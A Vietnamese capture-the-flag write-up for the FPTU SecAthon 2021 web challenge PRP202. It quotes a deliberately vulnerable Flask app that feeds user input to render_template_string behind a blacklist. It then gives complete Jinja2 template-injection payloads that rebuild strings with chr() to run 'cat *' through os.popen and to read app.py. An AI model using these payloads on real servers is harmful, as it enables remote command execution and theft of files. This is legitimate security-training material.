Home FPTU SecAthon 2021 | Web Writeup | PRP202
Post
Cancel

FPTU SecAthon 2021 | Web Writeup | PRP202

PRP202

Một bài hay và cực khó với mình, chả trách người anh T giấu tên cứ bảo làm thử
2 ngày để làm, nhiều lần thất bại, nhưng kết quả thật xứng đáng

Source code and analysis

Source code

Bắt đầu vào bài, tại trang index, Ctrl U lên thấy source code Flask của web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
app = Flask(__name__, template_folder="template")
SESSION_TYPE = "filesystem"
app.config.from_object(__name__)
Session(app)
authCode = "C4n 1 Trust Y0u? Player "


# Our bot detected that some users had gained access to the system by malicious function, so we decided to ban it.
blacklist = ["'", '"', "request", "readlines", "+", "%2b", "%22", "%27", "linecache"]


def authCheck(input):
    if session.get(input) == None:
        return ""
    return session.get(input)


@app.route("/", methods=["GET", "POST"])
def index():
    try:
        session.pop("userCode")
        session.pop("winner")
    except:
        pass
    if request.method == "POST":
        ok = request.form["ok"]
        for ban in blacklist:
            if ban in request.form["name"]:
                return render_template_string("Hacker Alert!!!")
        session["userCode"] = request.form["name"]
        if ok == "Let's play!":
            session["check"] = "access"
            # bypass this? No way haha :D
            winner = "cocailonditconbamay"
            session["winner"] = winner
            return render_template_string(
                "Generating winner hash...<script>setInterval(function(){ window.location='/doanxem'; }, 500);</script>"
            )
    return render_template("index.html")


@app.route("/doanxem", methods=["GET", "POST"])
def doanxem():
    try:
        if authCheck("check") == "":
            return render_template_string(authCode + authCheck("userCode"))
        else:
            if request.method == "POST":
                winner_input = request.form["winner"]
                if winner_input == authCheck("winner"):
                    mess = (
                        "You are the real winner!!!!!!!!!! "
                        + authCheck("userCode")
                        + ", here your flag: https://youtu.be/dQw4w9WgXcQ"
                    )
                elif winner_input != authCheck("winner"):
                    mess = "Wrong! You die!<script>setInterval(function(){ window.location='/choilai'; }, 1200);</script>"
                return render_template_string(mess)
            return render_template("doanxem.html")
    except:
        pass
    return render_template_string(authCode + authCheck("userCode"))


@app.route("/choilai")
def reset_access():
    try:
        session.pop("check")
        return render_template_string(
            "You got an Extra Change. Gud luck :D!!!!!!<script>setInterval(function(){ window.location='/'; }, 500);</script>"
        )
    except:
        pass
    return render_template_string(authCode + authCheck("userCode"))


if __name__ == "__main__":
    app.secret_key = "###########"
    serve(app, host="0.0.0.0", port=8900)

Analysis

render_template_string() nên rất dễ đoán đây là SSTI

Nhưng vì đã bị chặn request.args nên chắc phải inject từ một input nào đó :v

Review lại source code thì ta thấy có 2 chỗ render_template_string() cần sử dụng authCheck("userCode"), chính là cái tên ta nhập ở index

doanxem() ta thấy mess là một đoạn code chuyển hướng sang /choilai

Sang đến choilai() thì ta thấy rằng nó sẽ pop cái mục check của session data, vậy câu hỏi ở đây là, nếu như ta để cho doanxem gửi một request sang /choilai, nhưng trước khi /choilai kịp render, ta drop cái request đó? Tất nhiên cái session.pop("check") vẫn được thực thi, nhưng không render. Và nếu ta gửi tiếp một request của doanxem vào /choilai, điều gì sẽ xảy ra? session.pop() sẽ lỗi vì đã pop trước đó, nên giờ không còn gì mà pop, và thay vì render ra chuyển hướng về index, thì đoạn render cuối sẽ được thực thi.

Đã rõ cách để trigger template, thử nhập {{7*7}} ở index và làm các bước như trên:

7*7

Exploit

Vậy là đã rõ, bây giờ việc cần làm là tạo ra payload, trước tiên, hãy review cái black list của source code đã:

1
blacklist = ["'", '"', "request", "readlines", "+", "%2b", "%22", "%27", "linecache"]

Đoạn này khá là khó, vì black list chứa những kí tự và từ khóa phổ biến để tạo payload SSTI

Suy nghĩ mãi làm thế nào để tạo payload thì người anh TungDLM bảo chr, sáng dạ thêm một tí

Cụ thể thì ta sẽ dùng chr() để tạo các kí tự trong string và ghép chúng lại, nhưng trước tiên, phải define nó

Thử nhập ().__class__.__base__.__subclasses__() để list các subclass và mình thấy, tại vị trí 80 có <class '_frozen_importlib._ModuleLock'>, có thể sử dụng nó để define chr:

1
{% set ().__class.__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr %}

Đoạn này phải cảm ơn 3 chữ s e t của anh TaiDH, một pro đã giải bài này trong 15 phút, trước cả mình

Ok, để đoạn define ở đó, bây giờ đến đoạn payload chính, có rất nhiều hướng làm:

Sử dụng cycler, __doc__replace (TungDLM):

1
{{cycler.__init__.__globals__.os.popen(().__doc__[36:41].replace(chr(97),chr(99)).replace(chr(114),chr(97)).replace(chr(103),chr(116)).replace(chr(117),chr(32)).replace(chr(109),chr(42))).read()}}

Dễ hiểu là, chúng ta sẽ lợi dụng đoạn __doc__ của Tuple, ví __doc__ là một String nên ta chỉ việc cắt một đoạn của nó ra, replace() để thay thế các kí tự, sử dụng chr() để thay cho việc dùng ''/"". Nhờ đó tạo được câu lệnh để os.open() thực thi (cat *) và in ra tại read()

Payload hoàn chỉnh:

1
{% set chr = ().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr %}{{cycler.__init__.__globals__.os.popen(().__doc__[36:41].replace(chr(97),chr(99)).replace(chr(114),chr(97)).replace(chr(103),chr(116)).replace(chr(117),chr(32)).replace(chr(109),chr(42)))}}

Sử dụng __add__ (by me):

1
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.open(chr(97).__add__(chr(112).__add__(chr(112).__add__(chr(46).__add__(chr(112).__add__(chr(121)))))))}}

Tại đây mình sử dụng __add__ để nối các kí tự thành chuỗi và open() để mở file, không khuyến khích làm theo, khổ dâm lắm :’(

Payload hoàn chỉnh:

1
{% set chr = ().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.open(chr(97).__add__(chr(112).__add__(chr(112).__add__(chr(46).__add__(chr(112).__add__(chr(121)))))))}}

Flag:

flag

Flag: FUSEC{@@@@@@Th3_n3Xt_l3v3l_pL4y!!!!!!!!}

Rất có thể có nhiều cách khác, vì anh TungDLM đã để nhả

Cảm ơn anh TungDLM và anh TaiDH đã hỗ trợ trong quá trình giải bài này

References:

This post is licensed under CC BY 4.0 by the author.